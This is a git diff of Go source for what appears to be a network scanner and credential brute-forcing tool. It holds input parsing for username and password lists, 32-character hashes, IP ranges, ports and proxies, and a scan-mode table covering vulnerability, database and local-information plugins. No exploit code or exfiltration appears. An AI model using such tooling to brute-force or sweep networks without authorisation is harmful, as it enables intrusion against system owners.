|
||||
om.jsonEncoder.SetIndent("", " ")
|
||||
case "txt":
|
||||
LogDebug(GetText("output_init_txt"))
|
||||
default:
|
||||
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||
}
|
||||
|
||||
om.isInitialized = true
|
||||
LogDebug(GetText("output_init_complete"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// SaveResult 保存扫描结果
|
||||
func SaveResult(result *ScanResult) error {
|
||||
if ResultOutput == nil {
|
||||
LogDebug(GetText("output_not_init"))
|
||||
return fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_saving_result", result.Type, result.Target))
|
||||
return ResultOutput.saveResult(result)
|
||||
}
|
||||
|
||||
func (om *OutputManager) saveResult(result *ScanResult) error {
|
||||
om.mu.Lock()
|
||||
defer om.mu.Unlock()
|
||||
|
||||
if !om.isInitialized {
|
||||
LogDebug(GetText("output_not_init"))
|
||||
return fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
var err error
|
||||
switch om.outputFormat {
|
||||
case "txt":
|
||||
err = om.writeTxt(result)
|
||||
case "json":
|
||||
err = om.writeJson(result)
|
||||
case "csv":
|
||||
err = om.writeCsv(result)
|
||||
default:
|
||||
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_save_failed", err))
|
||||
} else {
|
||||
LogDebug(GetText("output_save_success", result.Type, result.Target))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeTxt(result *ScanResult) error {
|
||||
// 格式化 Details 为键值对字符串
|
||||
var details string
|
||||
if len(result.Details) > 0 {
|
||||
pairs := make([]string, 0, len(result.Details))
|
||||
for k, v := range result.Details {
|
||||
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
|
||||
}
|
||||
details = strings.Join(pairs, ", ")
|
||||
}
|
||||
|
||||
txt := GetText("output_txt_format",
|
||||
result.Time.Format("2006-01-02 15:04:05"),
|
||||
result.Type,
|
||||
result.Target,
|
||||
result.Status,
|
||||
details,
|
||||
) + "\n"
|
||||
_, err := om.file.WriteString(txt)
|
||||
return err
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeJson(result *ScanResult) error {
|
||||
return om.jsonEncoder.Encode(result)
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeCsv(result *ScanResult) error {
|
||||
details, err := json.Marshal(result.Details)
|
||||
if err != nil {
|
||||
details = []byte("{}")
|
||||
}
|
||||
|
||||
record := []string{
|
||||
result.Time.Format("2006-01-02 15:04:05"),
|
||||
string(result.Type),
|
||||
result.Target,
|
||||
result.Status,
|
||||
string(details),
|
||||
}
|
||||
|
||||
if err := om.csvWriter.Write(record); err != nil {
|
||||
return err
|
||||
}
|
||||
om.csvWriter.Flush()
|
||||
return om.csvWriter.Error()
|
||||
}
|
||||
|
||||
// CloseOutput 关闭输出系统
|
||||
func CloseOutput() error {
|
||||
if ResultOutput == nil {
|
||||
LogDebug(GetText("output_no_need_close"))
|
||||
return nil
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_closing"))
|
||||
ResultOutput.mu.Lock()
|
||||
defer ResultOutput.mu.Unlock()
|
||||
|
||||
if !ResultOutput.isInitialized {
|
||||
LogDebug(GetText("output_no_need_close"))
|
||||
return nil
|
||||
}
|
||||
|
||||
if ResultOutput.csvWriter != nil {
|
||||
LogDebug(GetText("output_flush_csv"))
|
||||
ResultOutput.csvWriter.Flush()
|
||||
}
|
||||
|
||||
if err := ResultOutput.file.Close(); err != nil {
|
||||
LogDebug(GetText("output_close_failed", err))
|
||||
return fmt.Errorf(GetText("output_close_failed", err))
|
||||
}
|
||||
|
||||
ResultOutput.isInitialized = false
|
||||
LogDebug(GetText("output_closed"))
|
||||
return nil
|
||||
}
|
352
Common/Parse.go
Normal file
352
Common/Parse.go
Normal file
@ -0,0 +1,352 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) error {
|
||||
ParseUser()
|
||||
ParsePass(Info)
|
||||
if err := ParseInput(Info); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParseUser 解析用户名配置
|
||||
func ParseUser() error {
|
||||
// 如果未指定用户名和用户名文件,直接返回
|
||||
if Username == "" && UsersFile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var usernames []string
|
||||
|
||||
// 处理直接指定的用户名列表
|
||||
if Username != "" {
|
||||
usernames = strings.Split(Username, ",")
|
||||
LogInfo(GetText("no_username_specified", len(usernames)))
|
||||
}
|
||||
|
||||
// 从文件加载用户名列表
|
||||
if UsersFile != "" {
|
||||
users, err := Readfile(UsersFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取用户名文件失败: %v", err)
|
||||
}
|
||||
|
||||
// 过滤空用户名
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
usernames = append(usernames, user)
|
||||
}
|
||||
}
|
||||
LogInfo(GetText("load_usernames_from_file", len(users)))
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
usernames = RemoveDuplicate(usernames)
|
||||
LogInfo(GetText("total_usernames", len(usernames)))
|
||||
|
||||
// 更新用户字典
|
||||
for name := range Userdict {
|
||||
Userdict[name] = usernames
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParsePass 解析密码、哈希值、URL和端口配置
|
||||
func ParsePass(Info *HostInfo) error {
|
||||
// 处理直接指定的密码列表
|
||||
var pwdList []string
|
||||
if Password != "" {
|
||||
passes := strings.Split(Password, ",")
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
LogInfo(GetText("load_passwords", len(pwdList)))
|
||||
}
|
||||
|
||||
// 从文件加载密码列表
|
||||
if PasswordsFile != "" {
|
||||
passes, err := Readfile(PasswordsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取密码文件失败: %v", err)
|
||||
}
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
LogInfo(GetText("load_passwords_from_file", len(passes)))
|
||||
}
|
||||
|
||||
// 处理哈希文件
|
||||
if HashFile != "" {
|
||||
hashes, err := Readfile(HashFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取哈希文件失败: %v", err)
|
||||
}
|
||||
|
||||
validCount := 0
|
||||
for _, line := range hashes {
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if len(line) == 32 {
|
||||
HashValues = append(HashValues, line)
|
||||
validCount++
|
||||
} else {
|
||||
LogError(GetText("invalid_hash", line))
|
||||
}
|
||||
}
|
||||
LogInfo(GetText("load_valid_hashes", validCount))
|
||||
}
|
||||
|
||||
// 处理直接指定的URL列表
|
||||
if TargetURL != "" {
|
||||
urls := strings.Split(TargetURL, ",")
|
||||
tmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
if _, ok := tmpUrls[url]; !ok {
|
||||
tmpUrls[url] = struct{}{}
|
||||
URLs = append(URLs, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
LogInfo(GetText("load_urls", len(URLs)))
|
||||
}
|
||||
|
||||
// 从文件加载URL列表
|
||||
if URLsFile != "" {
|
||||
urls, err := Readfile(URLsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取URL文件失败: %v", err)
|
||||
}
|
||||
|
||||
tmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
if _, ok := tmpUrls[url]; !ok {
|
||||
tmpUrls[url] = struct{}{}
|
||||
URLs = append(URLs, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
LogInfo(GetText("load_urls_from_file", len(urls)))
|
||||
}
|
||||
|
||||
// 从文件加载主机列表
|
||||
if HostsFile != "" {
|
||||
hosts, err := Readfile(HostsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取主机文件失败: %v", err)
|
||||
}
|
||||
|
||||
tmpHosts := make(map[string]struct{})
|
||||
for _, host := range hosts {
|
||||
if host != "" {
|
||||
if _, ok := tmpHosts[host]; !ok {
|
||||
tmpHosts[host] = struct{}{}
|
||||
if Info.Host == "" {
|
||||
Info.Host = host
|
||||
} else {
|
||||
Info.Host += "," + host
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
LogInfo(GetText("load_hosts_from_file", len(hosts)))
|
||||
}
|
||||
|
||||
// 从文件加载端口列表
|
||||
if PortsFile != "" {
|
||||
ports, err := Readfile(PortsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取端口文件失败: %v", err)
|
||||
}
|
||||
|
||||
var newport strings.Builder
|
||||
for _, port := range ports {
|
||||
if port != "" {
|
||||
newport.WriteString(port)
|
||||
newport.WriteString(",")
|
||||
}
|
||||
}
|
||||
Ports = newport.String()
|
||||
LogInfo(GetText("load_ports_from_file"))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回非空行的切片
|
||||
func Readfile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("open_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行读取文件内容
|
||||
lineCount := 0
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, text)
|
||||
lineCount++
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
LogError(GetText("read_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
LogInfo(GetText("read_file_success", filename, lineCount))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// ParseInput 解析和验证输入参数配置
|
||||
func ParseInput(Info *HostInfo) error {
|
||||
// 检查互斥的扫描模式
|
||||
modes := 0
|
||||
if Info.Host != "" || HostsFile != "" {
|
||||
modes++
|
||||
}
|
||||
if TargetURL != "" || URLsFile != "" {
|
||||
modes++
|
||||
}
|
||||
if LocalMode {
|
||||
modes++
|
||||
}
|
||||
|
||||
if modes == 0 {
|
||||
// 无参数时显示帮助
|
||||
flag.Usage()
|
||||
return fmt.Errorf(GetText("specify_scan_params"))
|
||||
} else if modes > 1 {
|
||||
return fmt.Errorf(GetText("params_conflict"))
|
||||
}
|
||||
|
||||
// 处理爆破线程配置
|
||||
if BruteThreads <= 0 {
|
||||
BruteThreads = 1
|
||||
LogInfo(GetText("brute_threads", BruteThreads))
|
||||
}
|
||||
|
||||
// 处理端口配置
|
||||
if Ports == MainPorts {
|
||||
Ports += "," + WebPorts
|
||||
}
|
||||
|
||||
if AddPorts != "" {
|
||||
if strings.HasSuffix(Ports, ",") {
|
||||
Ports += AddPorts
|
||||
} else {
|
||||
Ports += "," + AddPorts
|
||||
}
|
||||
LogInfo(GetText("extra_ports", AddPorts))
|
||||
}
|
||||
|
||||
// 处理用户名配置
|
||||
if AddUsers != "" {
|
||||
users := strings.Split(AddUsers, ",")
|
||||
for dict := range Userdict {
|
||||
Userdict[dict] = append(Userdict[dict], users...)
|
||||
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
||||
}
|
||||
LogInfo(GetText("extra_usernames", AddUsers))
|
||||
}
|
||||
|
||||
// 处理密码配置
|
||||
if AddPasswords != "" {
|
||||
passes := strings.Split(AddPasswords, ",")
|
||||
Passwords = append(Passwords, passes...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
LogInfo(GetText("extra_passwords", AddPasswords))
|
||||
}
|
||||
|
||||
// 处理Socks5代理配置
|
||||
if Socks5Proxy != "" {
|
||||
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(Socks5Proxy, ":") {
|
||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
||||
} else {
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
}
|
||||
}
|
||||
|
||||
_, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf(GetText("socks5_proxy_error", err))
|
||||
}
|
||||
DisablePing = true
|
||||
LogInfo(GetText("socks5_proxy", Socks5Proxy))
|
||||
}
|
||||
|
||||
// 处理HTTP代理配置
|
||||
if HttpProxy != "" {
|
||||
switch HttpProxy {
|
||||
case "1":
|
||||
HttpProxy = "http://127.0.0.1:8080"
|
||||
case "2":
|
||||
HttpProxy = "socks5://127.0.0.1:1080"
|
||||
default:
|
||||
if !strings.Contains(HttpProxy, "://") {
|
||||
HttpProxy = "http://127.0.0.1:" + HttpProxy
|
||||
}
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
|
||||
return fmt.Errorf(GetText("unsupported_proxy"))
|
||||
}
|
||||
|
||||
_, err := url.Parse(HttpProxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf(GetText("proxy_format_error", err))
|
||||
}
|
||||
LogInfo(GetText("http_proxy", HttpProxy))
|
||||
}
|
||||
|
||||
// 处理Hash配置
|
||||
if HashValue != "" {
|
||||
if len(HashValue) != 32 {
|
||||
return fmt.Errorf(GetText("hash_length_error"))
|
||||
}
|
||||
HashValues = append(HashValues, HashValue)
|
||||
}
|
||||
|
||||
// 处理Hash列表
|
||||
HashValues = RemoveDuplicate(HashValues)
|
||||
for _, hash := range HashValues {
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
LogError(GetText("hash_decode_failed", hash))
|
||||
continue
|
||||
}
|
||||
HashBytes = append(HashBytes, hashByte)
|
||||
}
|
||||
HashValues = []string{}
|
||||
|
||||
return nil
|
||||
}
|
334
Common/ParseIP.go
Normal file
334
Common/ParseIP.go
Normal file
@ -0,0 +1,334 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr = errors.New(GetText("parse_ip_error"))
|
||||
|
||||
// ParseIP 解析IP地址配置
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
// 处理主机和端口组合的情况
|
||||
if filename == "" && strings.Contains(host, ":") {
|
||||
hostport := strings.Split(host, ":")
|
||||
if len(hostport) == 2 {
|
||||
host = hostport[0]
|
||||
hosts = ParseIPs(host)
|
||||
Ports = hostport[1]
|
||||
LogInfo(GetText("host_port_parsed", Ports))
|
||||
}
|
||||
} else {
|
||||
// 解析主机地址
|
||||
hosts = ParseIPs(host)
|
||||
|
||||
// 从文件加载额外主机
|
||||
if filename != "" {
|
||||
fileHosts, err := Readipfile(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("read_host_file_failed", err))
|
||||
} else {
|
||||
hosts = append(hosts, fileHosts...)
|
||||
LogInfo(GetText("extra_hosts_loaded", len(fileHosts)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理排除主机
|
||||
if len(nohosts) > 0 && nohosts[0] != "" {
|
||||
excludeHosts := ParseIPs(nohosts[0])
|
||||
if len(excludeHosts) > 0 {
|
||||
// 使用map存储有效主机
|
||||
temp := make(map[string]struct{})
|
||||
for _, host := range hosts {
|
||||
temp[host] = struct{}{}
|
||||
}
|
||||
|
||||
// 删除需要排除的主机
|
||||
for _, host := range excludeHosts {
|
||||
delete(temp, host)
|
||||
}
|
||||
|
||||
// 重建主机列表
|
||||
var newHosts []string
|
||||
for host := range temp {
|
||||
newHosts = append(newHosts, host)
|
||||
}
|
||||
hosts = newHosts
|
||||
sort.Strings(hosts)
|
||||
LogInfo(GetText("hosts_excluded", len(excludeHosts)))
|
||||
}
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
LogInfo(GetText("final_valid_hosts", len(hosts)))
|
||||
|
||||
// 检查解析结果
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
|
||||
return hosts, nil
|
||||
}
|
||||
|
||||
func ParseIPs(ip string) (hosts []string) {
|
||||
if strings.Contains(ip, ",") {
|
||||
IPList := strings.Split(ip, ",")
|
||||
var ips []string
|
||||
for _, ip := range IPList {
|
||||
ips = parseIP(ip)
|
||||
hosts = append(hosts, ips...)
|
||||
}
|
||||
} else {
|
||||
hosts = parseIP(ip)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func parseIP(ip string) []string {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
|
||||
switch {
|
||||
case ip == "192":
|
||||
return parseIP("192.168.0.0/16")
|
||||
case ip == "172":
|
||||
return parseIP("172.16.0.0/12")
|
||||
case ip == "10":
|
||||
return parseIP("10.0.0.0/8")
|
||||
case strings.HasSuffix(ip, "/8"):
|
||||
return parseIP8(ip)
|
||||
case strings.Contains(ip, "/"):
|
||||
return parseIP2(ip)
|
||||
case reg.MatchString(ip):
|
||||
return []string{ip}
|
||||
case strings.Contains(ip, "-"):
|
||||
return parseIP1(ip)
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
LogError(GetText("invalid_ip_format", ip))
|
||||
return nil
|
||||
}
|
||||
return []string{ip}
|
||||
}
|
||||
}
|
||||
|
||||
// parseIP2 解析CIDR格式的IP地址段
|
||||
func parseIP2(host string) []string {
|
||||
_, ipNet, err := net.ParseCIDR(host)
|
||||
if err != nil {
|
||||
LogError(GetText("cidr_parse_failed", host, err))
|
||||
return nil
|
||||
}
|
||||
|
||||
ipRange := IPRange(ipNet)
|
||||
hosts := parseIP1(ipRange)
|
||||
LogInfo(GetText("parse_cidr_to_range", host, ipRange))
|
||||
return hosts
|
||||
}
|
||||
|
||||
// parseIP1 解析IP范围格式的地址
|
||||
func parseIP1(ip string) []string {
|
||||
ipRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(ipRange[0])
|
||||
var allIP []string
|
||||
|
||||
// 处理简写格式 (192.168.111.1-255)
|
||||
if len(ipRange[1]) < 4 {
|
||||
endNum, err := strconv.Atoi(ipRange[1])
|
||||
if testIP == nil || endNum > 255 || err != nil {
|
||||
LogError(GetText("ip_range_format_error", ip))
|
||||
return nil
|
||||
}
|
||||
|
||||
splitIP := strings.Split(ipRange[0], ".")
|
||||
startNum, err1 := strconv.Atoi(splitIP[3])
|
||||
endNum, err2 := strconv.Atoi(ipRange[1])
|
||||
prefixIP := strings.Join(splitIP[0:3], ".")
|
||||
|
||||
if startNum > endNum || err1 != nil || err2 != nil {
|
||||
LogError(GetText("invalid_ip_range", startNum, endNum))
|
||||
return nil
|
||||
}
|
||||
|
||||
for i := startNum; i <= endNum; i++ {
|
||||
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
|
||||
LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
|
||||
} else {
|
||||
// 处理完整IP范围格式
|
||||
splitIP1 := strings.Split(ipRange[0], ".")
|
||||
splitIP2 := strings.Split(ipRange[1], ".")
|
||||
|
||||
if len(splitIP1) != 4 || len(splitIP2) != 4 {
|
||||
LogError(GetText("ip_format_error", ip))
|
||||
return nil
|
||||
}
|
||||
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(splitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
LogError(GetText("invalid_ip_range", ipRange[0], ipRange[1]))
|
||||
return nil
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." +
|
||||
strconv.Itoa((num>>16)&0xff) + "." +
|
||||
strconv.Itoa((num>>8)&0xff) + "." +
|
||||
strconv.Itoa((num)&0xff)
|
||||
allIP = append(allIP, ip)
|
||||
}
|
||||
|
||||
LogInfo(GetText("generate_ip_range", ipRange[0], ipRange[1]))
|
||||
}
|
||||
|
||||
return allIP
|
||||
}
|
||||
|
||||
// IPRange 计算CIDR的起始IP和结束IP
|
||||
func IPRange(c *net.IPNet) string {
|
||||
start := c.IP.String()
|
||||
mask := c.Mask
|
||||
bcst := make(net.IP, len(c.IP))
|
||||
copy(bcst, c.IP)
|
||||
|
||||
for i := 0; i < len(mask); i++ {
|
||||
ipIdx := len(bcst) - i - 1
|
||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||
}
|
||||
end := bcst.String()
|
||||
|
||||
result := fmt.Sprintf("%s-%s", start, end)
|
||||
LogInfo(GetText("cidr_range", result))
|
||||
return result
|
||||
}
|
||||
|
||||
// Readipfile 从文件中按行读取IP地址
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("open_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
text := strings.Split(line, ":")
|
||||
if len(text) == 2 {
|
||||
port := strings.Split(text[1], " ")[0]
|
||||
num, err := strconv.Atoi(port)
|
||||
if err != nil || num < 1 || num > 65535 {
|
||||
LogError(GetText("invalid_port", line))
|
||||
continue
|
||||
}
|
||||
|
||||
hosts := ParseIPs(text[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
}
|
||||
LogInfo(GetText("parse_ip_port", line))
|
||||
} else {
|
||||
hosts := ParseIPs(line)
|
||||
content = append(content, hosts...)
|
||||
LogInfo(GetText("parse_ip_address", line))
|
||||
}
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
LogError(GetText("read_file_error", err))
|
||||
return content, err
|
||||
}
|
||||
|
||||
LogInfo(GetText("file_parse_complete", len(content)))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// RemoveDuplicate 对字符串切片进行去重
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// parseIP8 解析/8网段的IP地址
|
||||
func parseIP8(ip string) []string {
|
||||
// 去除CIDR后缀获取基础IP
|
||||
realIP := ip[:len(ip)-2]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
LogError(GetText("invalid_ip_format", realIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取/8网段的第一段
|
||||
ipRange := strings.Split(ip, ".")[0]
|
||||
var allIP []string
|
||||
|
||||
LogInfo(GetText("parse_subnet", ipRange))
|
||||
|
||||
// 遍历所有可能的第二、三段
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
// 添加常用网关IP
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
|
||||
|
||||
// 随机采样不同范围的IP
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
|
||||
}
|
||||
}
|
||||
|
||||
LogInfo(GetText("sample_ip_generated", len(allIP)))
|
||||
return allIP
|
||||
}
|
||||
|
||||
// RandInt 生成指定范围内的随机整数
|
||||
func RandInt(min, max int) int {
|
||||
if min >= max || min == 0 || max == 0 {
|
||||
return max
|
||||
}
|
||||
return rand.Intn(max-min) + min
|
||||
}
|
@ -1,32 +1,51 @@
|
||||
package common
|
||||
package Common
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sort"
|
||||
)
|
||||
|
||||
func ParsePort(ports string) (scanPorts []int) {
|
||||
if ports == "" {
|
||||
return
|
||||
// ParsePort 解析端口配置字符串为端口号列表
|
||||
func ParsePort(ports string) []int {
|
||||
// 预定义的端口组
|
||||
portGroups := map[string]string{
|
||||
"service": ServicePorts,
|
||||
"db": DbPorts,
|
||||
"web": WebPorts,
|
||||
"all": AllPorts,
|
||||
"main": MainPorts,
|
||||
}
|
||||
|
||||
// 检查是否匹配预定义组
|
||||
if definedPorts, exists := portGroups[ports]; exists {
|
||||
ports = definedPorts
|
||||
}
|
||||
|
||||
if ports == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
|
||||
// 处理每个端口配置
|
||||
for _, port := range slices {
|
||||
port = strings.TrimSpace(port)
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
if PortGroup[port] != "" {
|
||||
port = PortGroup[port]
|
||||
scanPorts = append(scanPorts, ParsePort(port)...)
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理端口范围
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
LogError(GetText("port_range_format_error", port))
|
||||
continue
|
||||
}
|
||||
|
||||
// 确保起始端口小于结束端口
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
@ -37,27 +56,38 @@ func ParsePort(ports string) (scanPorts []int) {
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 生成端口列表
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
if i > 65535 || i < 1 {
|
||||
LogError(GetText("ignore_invalid_port", i))
|
||||
continue
|
||||
}
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
|
||||
// 去重并排序
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
sort.Ints(scanPorts)
|
||||
|
||||
LogInfo(GetText("valid_port_count", len(scanPorts)))
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
// removeDuplicate 对整数切片进行去重
|
||||
func removeDuplicate(old []int) []int {
|
||||
result := []int{}
|
||||
temp := map[int]struct{}{}
|
||||
temp := make(map[int]struct{})
|
||||
var result []int
|
||||
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
95
Common/ParseScanMode.go
Normal file
95
Common/ParseScanMode.go
Normal file
@ -0,0 +1,95 @@
|
||||
package Common
|
||||
|
||||
// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式
|
||||
const (
|
||||
ModeAll = "All" // 全量扫描
|
||||
ModeBasic = "Basic" // 基础扫描
|
||||
ModeDatabase = "Database" // 数据库扫描
|
||||
ModeWeb = "Web" // Web扫描
|
||||
ModeService = "Service" // 服务扫描
|
||||
ModeVul = "Vul" // 漏洞扫描
|
||||
ModePort = "Port" // 端口扫描
|
||||
ModeICMP = "ICMP" // ICMP探测
|
||||
ModeLocal = "Local" // 本地信息收集
|
||||
)
|
||||
|
||||
// 插件分类映射表 - 所有插件名使用小写
|
||||
var PluginGroups = map[string][]string{
|
||||
ModeAll: {
|
||||
"webtitle", "webpoc", // web类
|
||||
"mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类
|
||||
"oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类
